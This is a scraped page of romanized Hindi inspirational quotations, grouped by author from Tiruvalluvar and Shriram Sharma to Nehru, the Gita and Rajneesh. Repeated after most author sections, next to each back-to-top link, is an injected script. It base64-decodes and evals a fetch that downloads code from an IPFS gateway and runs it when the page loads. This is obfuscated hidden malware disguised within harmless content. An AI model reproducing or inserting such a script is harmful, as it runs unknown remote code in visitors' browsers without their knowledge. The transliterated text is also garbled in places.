karana ni:sandeh bura hai, magar samane hans kar bolana aur pichhe chugalakhori karana usase bhi bura hai. - sant tiruvalluvar namrata aur mithe vachan hi manushy ke abhooshan hote haian. shesh sab namamatr ke bhooshan haian. - sant tiruvallur sochana, kahana v karana sada saman ho, neki se vimukh ho jana aur badi karana ni:sandeh bura hai, magar samane hans kar bolana aur pichhe chugalakhori karana usase bhi bura hai. - sant tisrvalluvar us manushy ka that-bat jise log pyar nahian karate, gaanv ke bichobich uge vishavriksh ke saman hai. - sant tiruvalluvar jo sabake dil ko khush kar dene vali vani bolata hai, usake pas daridrata kabhi nahian phatak sakati. - tiroovalh‍luvar alash‍y mean daridrata basati hai, lekin jo, vh‍yakti alash‍y nahian karate unaki mehanat mean lakshh‍mi ka nivas hota hai. - tiroovalh‍lur b daph‍pan sadaiv hi doosaroan ki kamazoriyoan, par parda dalana chahata hai, lekin ochhapan, doosaroan ki kamiyoan batane ke siva aur kuchh karana hi nahian janata. - tiroovalh‍luvar link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> magh manasvi purush parvat ke saman ooanche aur samudr ke saman ganbhir hote haian. unaka par pana kathin hai. - magh kushal purush ki vani pratikool bolanevale prabuddh vaktaoan ko mook bana deti hai aur paksh mean bolane vale mandamati ko nipun. - magh jahaan prakash rahata hai vahaan aandhakar kabhi nahian rah sakata. - maghr achary shriram sharma achary shriram sharma is sansar mean pyar karane layaq do vastuean haian-ek du:kh aur doosara shram. du:kh ke bina hriday nirmal nahian hota aur shram ke bina manushyatv ka vikas nahian hota. - achary shriram sharma sanpada ko jo d-jo d kar rakhane vale ko bhala kya pata ki dan mean kitani mithas hai. - achary shriram sharma jivan mean do hi vyakti asaphal hote haian- ek ve jo sochate haian par karate nahian, doosare jo karate haian par sochate nahian. - achary shriram sharma manasik bimariyoan se bachane ka ek hi upay hai ki hriday ko ghrina se aur man ko bhay v chinta se mukt rakha jay. - achary shriram sharma manushy kuchh aur nahian, bhataka hua devata hai. - achary shriram sharma asaphalata yah batati hai ki saphalata ka prayatn poore man se nahian kiya gaya. — shriram sharma achary sharirik gulami se bauddhik gulami adhik bhayankar hai. — shriram sharma, achary granth, panth ho athava vyakti, nahian kisi ki aandhi bhakti. — shriram sharma, achary jaisi janata, vaisa raja. prajatantr ka yahi takaja॥ — shriram sharma, achary keval ve hi asanbhav kary ko kar sakate haian jo adrishy ko bhi dekh lete haian. — shriram sharma achary nahian sangathit sajjan log. rahe isi se sankat bhog॥ — shriram sharma, achary manushy ki vastavik pooanji dhan nahian, vichar haian. — shriram sharma, achary prajna-yug ke char adhar hoange - samajhadari, imanadari, zimmedari aur bahaduri. — shriram sharma, achary manahsthiti badale, tab paristhiti badale. - pan shriram sharma achary rachanatmak karyoan se desh samarth banega. — shriram sharma, achary sansar ka sabase bada divaliya vah hai jisane utsah kho diya. — shriram sharma, achary samaj ke hit mean apana hit hai. — shriram sharma, achary sukh mean garv n karean, duahkh mean dhairy n chho dean. - pan shri ram sharma achary usi dharm ka ab utthan, jisaka sahayogi vijnan॥ — shriram sharma, achary b dappan amiri mean nahian, eemanadari aur sajjanata mean sannihit hai. — shriram sharma achary jo bachchoan ko sikhate haian, un par b de khud amal karean to yah sansar svarg ban jay. — shriram sharma achary vinay apayash ka nash karata haian, parakram anarth ko door karata hai, kshama sada hi krodh ka nash karati hai aur sadachar kulakshan ka aant karata hai. — shriram sharma achary jab tak vh‍yakti asath‍y ko hi sath‍y samajhata rahata hai, tab tak usake man mean sath‍y ko janane ki jijnasa uth‍panh‍n nahian hoti hai. - pan. shriram sharma avasar to sabhi ko jinh‍dagi mean milate haian, kiantu unaka sahi vakh‍t par sahi tarike se ish‍temal kuchh hi kar pate haian. - shriram sharma link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> achary ramachandr shukl bair krodh ka achar ya murabba hai. ~ achary ramachandr shukl chitavan se jo rukhaee prakat ki jati hai, vah bhi krodh se bhare hue katu vachanoan se kam nahian hoti. ~ achary ramachandr shukl doosaroan par kie ge vyangy par ham hansate haian par apane oopar kie ge vyangy par rona tak bhool jate haian. ~ achary ramachandr shukl d aau. ramakumar varma du:kh aur vedana ke athah sagar vale is sansar mean prem ki atyadhik avashyakata hai. ~ d aau. ramakumar varma sauandary aur vilas ke avaran mean mahattvakaanksha usi prakar poshit hoti hai jaise myan mean talavar. ~ d aau. ramakumar varma kavi aur chitrakar mean bhed hai. kavi apane svar mean aur chitrakar apani rekha mean jivan ke tatv aur sauandary ka rang bharata hai. ~ d aau. ramakumar varma link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhagavan mahavir jis prakar bina jal ke dhan nahian ugata usi prakar bina vinay ke prapt ki gee vidya phaladayi nahian hoti. - bhagavan mahavir bhog mean rog ka, uchch-kul mean patan ka, dhan mean raja ka, man mean apaman ka, bal mean shatru ka, roop mean budhape ka aur shastr mean vivad ka dar hai. bhay rahit to keval vairagy hi hai. - bhagavan mahavir pi da se drishti milati hai, isalie atmapi dan hi atmadarshan ka madhyam hai. - bhagavan mahavir alasi sukhi nahian ho sakata, nidralu jnani nahian ho sakata, mamtv rakhanevala vairagyavan nahian ho sakata aur hiansak dayalu nahian ho sakata. - bhagavan mahavir vah purush dhanh‍y hai jo kam karane mean kabhi pichhe nahian hatata, bhagh‍yalakshh‍mi usake ghar ki rah poochhati huee chali ati hai. - bhagavan mahavir doosaroan ko danh‍d dena sahaj hai, kinh‍tu unh‍hean kshama karana aur unaki bhool sudharana ath‍yadhik kathin kary hai. – bhagavan mahavir sh‍vami lokamany tilak kasht aur vipatti manushy ko shiksha dene vale shreshth gun haian. jo sahas ke sath unaka samana karate haian, ve vijayi hote haian. - lokamany tilak sharir ko rogi aur nirbal rakhane ke saman doosara koee pap nahian hai. - lokamany tilak svatantrata hamara janm siddh adhikar hai! - lokamany tilak anh‍yay aur ath‍yachar karane vala, utana doshi nahian mana ja sakata, jitana ki use sahan karane vala. - bal gangadhar tilak javaharalal neharoo apane ko sankat mean dal kar kary sanpann karane valoan ki vijay hoti hai, kayaroan ki nahian. - javaharalal neharoo mahanh dhyey ke prayatn mean hi anand hai, ullas hai aur kisi aansh tak prapti ki matra bhi hai. - javaharalal neharoo jay usi ki hoti hai jo apane ko sankat mean dalakar kary sanpann karate haian. jay kayaroan ki kabhi nahian hoti. - javaharalal neharoo jo push‍takean sabase adhik sochane ke lie majaboor karati haian, vahi tumh‍hari sabase b di sahayak haian. - javaharalal neharoo keval karmahin hi aise hote haian, jo sada bhagh‍y ko kosate haian aur jinake, pas shikayatoan ka aanbar hota hai. - javahar lal nehar shreshh‍thatam marg khojane ki pratiksha ke bajay, ham galat rash‍te se bachate rahean aur behatar rash‍te ko apanate rahean. - pan. javahar lal neharoo jivan tash ke khel ke saman hai, ap ko jo path‍te milate haian vah niyati hai, ap kaise khelate haian vah apaki sh‍vechh‍chha hai. - pan. javahar lal neharoo svayan karm, jab tak mujhe yah bharosa hota hai ki yah sahi karm hai, mujhe santushti deta hai. - javahar lal neharu hariaudh prakriti aparimit jnan ka bhandar hai, patte-patte mean shikshapoorn path haian, parantu usase labh uthane ke lie anubhav avashyak hai. - hariaudh jahaan chakravarti samrat ki talavar kuanthit ho jati hai, vahaan mahapurush ka ek madhur vachan hi kam kar deta hai. - hariaudh anubhav, jnan unmesh aur vayash manushy ke vicharoan ko badalate haian. - hariaudh madhoolika gupta ai amalatas kisi ko bhi pata n chala tere qad ka aandazajo asaman tha par sir jhuka ke rahata tha, tez dhoop mean bhi musakura ke rahata tha. ~ madhoolika gupta das garib adami ek kanbal mean aram se so sakate haian, parantu do raja ek hi rajy mean ikatthe nahian rah sakate. ~ madhoolika gupta samajhauta ek achchha chhata bhale ban sakata hai, lekin achchhi chhat nahian. ~ madhoolika gupta apane dost ke lie jan de dena itana mushkil nahian hai jitana mushkil aise dost ko dhooandhana jis par jan di ja sake. ~ madhoolika gupta link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> valmiki pita ki seva karana jis prakar kalyanakari mana gaya hai vaisa prabal sadhan n saty hai, n dan hai aur n yajn haian. - valmiki jaise pake hue phaloan ko girane ke siva koee bhay nahian vaise hi paida hue manushy ko mrityu ke siva koee bhay nahian. - valmiki hatash n hona saphalata ka mool hai aur yahi param sukh hai. utsah manushy ko karmo mean prerit karata hai aur utsah hi karm ko saphal banata hai. - valmiki tap hi param kalyan ka sadhan hai. doosare sare sukh to ajnan matr haian. - valmiki janani janmabhoomishch svargadapi gariyasi. (janani (mata) aur janmabhoomi svarg se bhi adhik shreshth hai) - maharshi valmiki (ramayan) shukraniti koee bhi vyakti ayogy nahian hota keval usako upayukt kam mean lagane vala hi kathinaee se milata hai. - shukraniti balavan vyakti ki bhi buddhimani isi mean hai ki vah janaboojh kar kisi ko shatru n banae. - shukraniti samooche lok vyavahar ki sthiti bina nitishastr ke usi prakar nahian ho sakati, jis prakar bhojan ke bina praniyoan ke sharir ki sthiti nahian rah sakati. - shukraniti shri paramahans yoganand vishv ki sarvashreshth kala, sangit v sahity mean bhi kamiyaan dekhi ja sakati hai lekin unake yash aur sauandary ka anand lena shreyaskar hai. - shri paramahans yoganand tark se kisi nishkarsh par nahian pahuancha ja sakata. moorkh log tark karate haian, jabaki buddhiman vichar karate haian. - shri paramahans yoganand khud ke liye jinevale ki or koee dhyan nahian deta par jab ap doosaroan ke liye jina sikh lete haian to ve apake liye jite haian. - shri paramahans yoganand asaphalata ka mausam, saphalata ke bij bone ke lie sarvashreshth samay hota hai. - paramahans yoganand maharshi araviand sara jagath svatantrata ke lie lalayit rahata hai phir bhi pratyek jiv apane bandhano ko pyar karata hai. yahi hamari prakriti ki pahali durooh granthi aur virodhabhas hai. - shri araviand bhatribhav ka astitv keval atma mean aur atma ke dvara hi hota hai, yah aur kisi ke sahare tik hi nahian sakata. - shri araviand karm, jnan aur bhakti- ye tinoan jahaan milate haian vahian sarvashreshth purusharth janm leta hai. - shri araviand adhyapak rashtr ki sanskriti ke chatur mali hote haian. ve sanskaroan ki j doan mean khad dete haian aur apane shram se unhean sianch-sianch kar mahapran shaktiyaan banate haian. - maharshi araviand yadi ap chahate haian ki log apake sath sachh‍cha vh‍yavahar karean to ap khud sachh‍che banean aur anh‍y logoan se bhi sachh‍cha vh‍yavahar karean. - maharshi aravinh‍d link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> saradar patel satyagrah ki l daee hamesha do prakar ki hoti hai. ek zulmoan ke khilaf aur doosari svayan ki durbalata ke viruddh. - saradar patel loha garam bhale hi ho jae par hathau da to thanda rah kar hi kam kar sakata hai. - saradar patel jab tak ham svayan niraparadh n hoan tab tak doosaroan par koee akshep saphalatapoorvak nahian kar sakate. - saradar patel yah sach hai ki pani mean tairanevale hi doobate haian, kinare par kh de rahanevale nahian, magar kinare par kh de rahanevale kabhi tairana bhi nahian sikh pate. - saradar patel shatru ka loha bhale hi garm ho jae, par hathau da to thanda rahakar hi kam, de sakata hai. - saradar patel d aau. sarvapalli radhakrishnan manav ka manav hona hi usaki jit hai, danav hona har hai, aur mahamanav hona chamatkar hai. - d aau. sarvapalli radhakrishnan sahity ka kartavy keval jnan dena nahian hai parantu ek naya vatavaran dena bhi hai. - d aau. sarvapalli radhakrishnan chi diyoan ki tarah hava mean u dana aur machhaliyoan ki tarah pani mean tairana sikhane ke bad ab hamean insanoan ki tarah zamin par chalana sikhana hai. - d aau. sarvapalli radhakrishnan sab se adhik anand is bhavana mean hai ki hamane manavata ki pragati mean kuchh yogadan diya hai. bhale hi vah kitana kam, yahaan tak ki bilkul hi tuchchh kyoan n ho? - d aau. sarvapalli radhakrishnan dharm, vyakti evan samaj, donoan ke liye avashyak hai. — d aau. sarvapalli radhakrishnan madanamohan malaviy aangrezi madhyam bharatiy shiksha mean sabase b da vighn hai. sabhy sansar ke kisi bhi jan samuday ki shiksha ka madhyam videshi bhasha nahian hai." - madanamohan malaviy ramayan samast manushy jati ko anirvachaniy sukh aur shaanti pahuanchane ka sadhan hai. - madanamohan malaviy link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> panchatantr koee manushy doosare manushy ko das nahian banata, keval dhan ka lalach hi manushy ko das banata hai. - panchatantr shasan ke samarthak ko janata pasand nahian karati aur janata ke pakshapati ko shasan. in dono ka priy karyakarta durlabh hai. - panchatantr jo koee bhi hoan, saikado mitr banane chahiye. dekho, mitr choohe ki sahayata se kabootar (jal ke) bandhan se mukt ho gaye the. — panchatantr satsangatiah svargavas: (satsangati svarg mean rahane ke saman hai) — panchatantr bhay se tab tak hi darana chahiye jab tak bhay (pas) n aya ho. aye hue bhay ko dekhakar bina shanka ke us par prahar karana chahiye. — panchatantr jisake pas buddhi hai, bal usi ke pas hai. (buddhiah yasy balan tasy) — panchatantr maunan sarvarthasadhanamh. — panchatantr (maun sare kam bana deta hai) rrigved matribhasha, matri sanskriti aur matribhoomi ye tinoan sukhakarini deviyaan sthir hokar hamare hridayasan par virajean. - rrigved chianta se chitt ko santap aur atma ko durbalata prapt hoti hai, isalie chianta ko to chho d hi dena chahie. - rrigved manav jis lakshh‍y mean man laga deta hai, use vah shram se hasil kar sakata hai. - rrigh‍ved hamare bhitar kanjoosi n ho. - rrigved link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> amitabh bachchan doosaroan ki galatiyoan se sikhean. ap itane din nahian ji sakate ki khud itani galatiyaan kar sakean. - amitabh bachchan agar bhagavan se maang rahe ho to halka bojh mat maango, mazaboot kandhe maango. - amitabh bachchan vidur dhan uttam karmoan se utpann hota hai, pragalbhata (sahas, yogyata v dridh nishchay) se badhata hai, chaturaee se phalata phoolata hai aur sanyam se surakshit hota hai. ~ vidur kumantrana se raja ka, kusangati se sadhu ka, atyadhik dular se putr ka aur avidya se brahman ka nash hota hai. ~ vidur sharatachandr khatiradari jaisi chiz mean mithas zaroor hai, par usaka dhakosala karane mean n to mithas hai aur n svad. - sharatachandr sansar mean aise aparadh kam hi haian jinhean ham chahean aur kshama n kar sakean. - sharatachandr atharvaved jahaan moorkh nahian pooje jate, jahaan ann ki suraksha ki jati hai aur jahaan parivar mean kalah nahian hoti, vahaan lakshmi nivas karati hai. ~ atharvaved puny ki kamaee mere ghar ki shobha badhae, pap ki kamaee ko maianne nasht kar diya hai. ~ atharvaved jo sh‍vayan sanyamit v niyantrit hai use, vh‍yarth mean aur adhik niyantrit nahian karana chahiye, jo abhi aniyantrit hai, usi ko niy‍antrit kiya jana chahie. ~ atharvaved link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> ramanaresh tripathi shatru ke sath mriduta ka vyavahar apakirti ka karan banata hai aur purusharth yash ka. ~ ramanaresh tripathi yah sach hai ki kavi sauandary ko dekhata hai. jo keval bahari sauandary ko dekhata hai vah kavi hai, par jo manushy ke man ke sauandary ka varnan karata hai vah mahakavi hai. ~ ramanaresh tripathi amritalal nagar shraddha aur vishvas aisi j di bootiyaan haian ki jo ek bar ghol kar pi leta hai vah chahane par mrityu ko bhi pichhe dhakel deta hai. ~ amritalal nagar jaise sooryoday ke hote hi aandhakar door ho jata hai vaise hi man ki prasannata se sari badhaean shaant ho jati haian. ~ amritalal nagar kamalapati tripathi sadhy kitane bhi pavitr kyoan n hoan, sadhan ki pavitrata ke bina unaki upalabdhi sanbhav nahian. - kamalapati tripathi atyachar aur anachar ko sir jhukakar ve hi sahan karate haian jinamean naitikata aur charitr ka abhav hota hai. - kamalapati tripathi d aau. manoj chaturvedi mitr ke milane par poorn samman sahit adar karo, mitr ke pith pichhe prashansa karo aur avashyakata ke samay usaki madad avashy karo. - d aau. manoj chaturvedi doobate ko bachana hi achchhe iansan ka kartavy hota hai. - d aau. manoj chaturvedi harishankar parasaee vasant apane ap nahian ata, use lana p data hai. sahaj ane vala to patajh d hota hai, vasant nahian. ~ harishankar parasaee maian ne koee vijnapan aisa nahian dekha jisamean purush stri se kah raha ho ki yah sa di ya sno kharid le. apani chiz vah khud pasand karati hai magar purush ki sigaret se lekar tayar tak mean vah dakhal deti hai. ~ harishankar parasaee link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> guru nanak doob ki tarah chhote banakar raho. jab ghas-pat jal jate haian tab bhi doob jas ki tas bani rahati hai. - guru nanak koee bhi desh apani achchhaeeyoan ko kho dene par patit hota hai. - guru nanak shabd dharati, shabd akash, shabd shabd bhaya paragas! sagali shabd ke pachhe, nanak shabd ghate ghat achhe!! - guru nanak vishnu prabhakar dadipak sone ka ho ya mitti ka mooly dipak ka nahian usaki lau ka hota hai jise koee aandhera nahian bujha sakata. - vishnu prabhakar dipak sone ka ho ya mitti ka mooly usaka nahian hota, mooly hota hai usaki lau ka jise koee aandhera, aandhere ke tarakash ka koee tir aisa nahian jo bujha sake. - vishnu prabhakar santosh goyal har chiz ki kimat vyakti ki jeb aur zaroorat ke anusar hoti hai aur shayad usi ke anusar vah achchhi ya buri hoti hai. - santosh goyal avasar to sabhi ko ziandagi mean milate haian kiantu unaka sahi vakt par sahi tariqe se istemal kitane kar pate haian? - santosh goyal link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> svami ramadev bachchoan ko shiksha ke sath yah bhi sikhaya jana chahie ki vah matr ek vyakti nahian hai, sanpoorn rashtr ki thati haian. usase kuchh bhi galat ho jaega to usaki aur usake parivar ki hi nahian balki poore samaj aur poore desh ki duniya mean badanami hogi. bachapan se use yah sikhane se usake man mean yah bhavana paida hogi ki vah kuchh aisa kare jisase ki desh ka nam roshan ho. yog-shiksha is marg par bachche ko le jane mean sahayak hai. - svami ramadev svadeshi udyog, shiksha, chikitsa, jnan, takanik, khanapan, bhasha, veshabhoosha evan svabhiman ke bina vishv ka koee bhi desh mahanh nahian ban sakata. - svami ramadev bharatiy sanskriti aur dharm ke nam par logoan ko jo parosa ja raha hai vah hamean dharm ke aparadhikaran ki or le ja raha hai. isake liye pande, pujari, padari, mahant, maulavi, rajaneta adi sabhi zimmedar haian. ye log dharm ke nam par napharat ki dukanean chalakar samaj ko baantane ka kam kar rahe haian. - svami ramadev svami shivanand mastishk indriyoan ki apeksha mahanh hai, shuddh buddhimatta mastishk se mahanh hai, atma buddhi se mahanh hai, aur atma se badhakar kuchh bhi nahian hai. - svami shivanand barah jnani ek ghante mean jitane prashnoan ke uttar de sakate haian usase kahian adhik prashn moorkh vyakti ek minat mean poochh sakata hai. - svami shivanand santosh ka vriksh k dava hai lekin is par lagane vala phal mitha hota hai. - svami shivanand rashmi prabha galat ko galat kahana hamean asan nahian lagata, sahi itana kamazor hota hai itana akela ki, usake khilaf hi jang ka ailan asan lagata hai. - rashmi prabha jahaan sare tark khatm ho jate haian, vahaan se adhyatm shuroo hota hai. - rashmi prabha hiandi hamari matribhasha hai, hamara garv hai kya karean - door ke dhol suhane lagate haian aur us dhol par chal (stail) badal jati hai! - rashmi prabha jis tarah phool paudhoan ke uchit vikas ke lie samay samay par kat chhaant zaroori hai thik usi tarah bachchoan ko uchit bat sikhane ke lie samay samay par daant zaroori hai! - rashmi prabha tum svatantr hona chahate to ho par svatantrata dena nahian chahate! - rashmi prabha koee tumhare kaandhe par hath rakhata hai to tumhara hausala badhata hai par jab kisi ka hath kaandhe par nahian hota tum apani shakti khud ban jate ho aur vahi shakti eeshvar hai! - rashmi prabha link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> d aau. shankar dayal sharma sahishnuta aur samajhadari sansadiy lokatantr ke lie utane hi avashyak hai jitane santulan aur maryadit chetana. - d aau. shankaradayal sharma dharm ka arth to dana nahian balki jo dana hai. dharm ek sanyojak tatv hai. dharm logoan ko jo data hai. - d aau. shankar dayal sharma link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> mahabharat dharm karate hue mar jana achchha hai par pap karate hue vijay prapt karana achchha nahian. - mahabharat buddhi se vicharakar kie ge karm hi saphal hote haian. - mahabharat apane bhaee bandhu jisaka adar karate haian, doosare bhi usaka adar karate haian. - mahabharat jis hare-bhare vriksh ki chhaya ka ashray lekar raha jae, pahale upakaroan ka dhyan rakhakar usake ek patte se bhi droh nahian karana chahie. - mahabharat lakshh‍mi shubh kary se uth‍panh‍n hoti hai, chaturata se badhati hai, ath‍yanh‍t nipunata se, j de jamati hai aur sanyam se sthir rahati hai. - mahabharat gita phal ki abhilasha chho dakar karm karane vala manushy hi moksh prapt karata hai. - gita karmanyevadhikaraste ma phaleshu kadachanh. (karm karane mean hi tumhara adhikar hai, phal mean kabhi bhi nahian) — gita sanh‍yas hriday ki ek dasha ka nam hai, kisi oopari niyam ya veshabhoosha ka nahian. - shrimadh bhagavadagita ham apane karyoan ke parinam ka nirnay karane vale kaun haian? yah to bhagavan ka karyakshetr hai. ham to ekamatr karm karane ke lie uttaradayi haian. - gita ham prayas ke lie uttaradayi haian, n ki parinam ke lie. - gita link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> svami ramatirth janzirean, janzirean hi haian, chahe ve lohe ki hoan ya sone ki, ve saman roop se tumhean gulam banati haian. - svami ramatirth vahi unnati karata hai jo svayan apane ko upadesh deta hai. - svami ramatirth keval prakash ka abhav hi aandhakar nahian, prakash ki ati bhi manushy ki aankhoan ke lie aandhakar hai. - svami ramatirth tyag nishchay hi apake bal ko badha deta hai, apaki shaktiyoan ko kee guna kar deta hai, apake parakram ko dridh kar deta hai, vahi apako eeshvar bana deta hai. vah apaki chiantaean aur bhay har leta hai, ap nirbhay tatha anandamay ho jate haian. - svami ramatirth sooraj aur chaand ko ap apane janm ke samay se hi dekhate chale a rahe haian. phir bhi yah nahian jan paye ki kam kaise karane chahie? - ramatirth kritrim prem bahut dinoan tak chal nahian pata, sh‍vabhavik prem ki nakal nahian ho sakati. - sh‍vami ramatirth jo manushh‍y apane sathi se ghrina karata hai, vah usi manushh‍y ke saman hath‍yara hai, jisane sachamuch hath‍ya ki ho. - sh‍vami ramatirth alash‍y mrith‍yu ke saman hai, aur keval udyam hi apaka jivan hai. - sh‍vami ramatirth sachh‍cha p dosi vah nahian jo tumh‍hare sath, usi makan mean rahata hai, balh‍i‍k vah hai jo tumh‍hare sath usi vichar sh‍tar par rahata hai. - sh‍vami ramatirth jab tak tumh‍harean anh‍dar doosaroan ke, avagun dhuandhane ya unake dosh dekhane, ki adat maujood hai eeshh‍var ka sakshat, karana ath‍yant kathin hai. - sh‍vami ramatirth vh‍yakti ko hani, pi da aur chiantaean, usaki kisi aantarik durbalata ke karan hoti hai, us durbalata ko door karake kamayabi mil sakati hai. - sh‍vami ramatirth duniyavi chijoan mean sukh ki talash, phijool hoti hai. ananh‍d ka khazana, to kahian hamare bhitar hi hai. - sh‍vami ramatirth link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> iandira gaandhi jivan ka mahatv tabhi hai jab vah kisi mahanh dhyey ke lie samarpit ho. yah samarpan jnan aur nyayayukt ho. - iandira gaandhi yadi asantosh ki bhavana ko lagan v dhairy se rachanatmak shakti mean n badala jae to vah khataranak bhi ho sakati hai. - iandira gaandhi yahaan do tarah ke log hote haian - ek vo jo kam karate haian aur doosare vo jo sirph kredit lene ki sochate hai. koshish karana ki tum pahale samooh mean raho kh‍yoanki vahaan kamh‍patishan kam hai. — iandira gaandhi ap bhianchi mutthi se hath nahian mila sakate. - iandira gaandhi prashn kar pane ki kshamata hi manav pragati ka adhar hai. - iandira gaandhi ek rashtr ki shakti usaki atmanirbharata mean hai, doosaroan se udhar lekar par kam chalane mean nahian. - iandira gaandhi log apane kartavy bhool jate haian lekin apane adhikar unhean yad rahate haian. - iandira gaandhi maithilisharan gupt aroonoday ke poorv sadaiv ghanaghor aandhakar hota hai. — maithilisharan gupt nar ho n nirash karo man ko. kuchh kam karo, kuchh kam karo. jag mean rahakar kuchh nam karo॥ — maithilisharan gupt achary rajanish jab tum nahian hoge, tab tum pahali bar hoge. - achary rajanish yadi tumhare hriday ke tar mujhase ju d ge haian to anantakakal tak avaz deta rahooanga. - achary rajanish yatharthavadi bano: chamtkar ki yojana banao. - achary rajanish tum kahate ho ki svarg mean shashvat sauandary hai, shashvat sauandary abhi hai yahaan, svarg mean nahi. - achary rajanish masiha ko mare jitana samay ho jata hai karmakaand utana hi prabal ho jata hai, agar aj buddh jivit hote to tum unhean pasand n karate. - achary rajanish meri sari shiksha do shabdo ki hai prem aur dhyan. - achary rajanish dharm jivan ko paramath‍ma mean jine ki vidhi hai, sansar mean aise jiya ja sakata hai jaise, kamal sarovar ke kich d mean jite haian. - achary rajanish svami sudarshanachary ji manavata ke disha mean uthaya gaya pratyek qadam apaki svayan ki chiantaoan ko kam karane mean mil ka patthar sabit hoga. - svami shri sudarshanachary ji ap mrityu ke uparaant apane sath apane achchhe-bure karmoan ki pooanji sath le jaeange, isake alava ap kuchh sath nahian le ja sakate, yad rakhean 'kuchh nahian'. - svami shri sudarshanachary ji jise iansan se prem hai aur iansaniyat ki samajh hai, use apane ap mean hi santushti mil jati hai. - svami sudarshanachary ji link=#top|center|oopar jayean <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> hansaraj sujn achchhe vichar aur achchhi soch se acharan bhi achchha banata hai. - hansaraj sujn sambodhan achchhe hoange 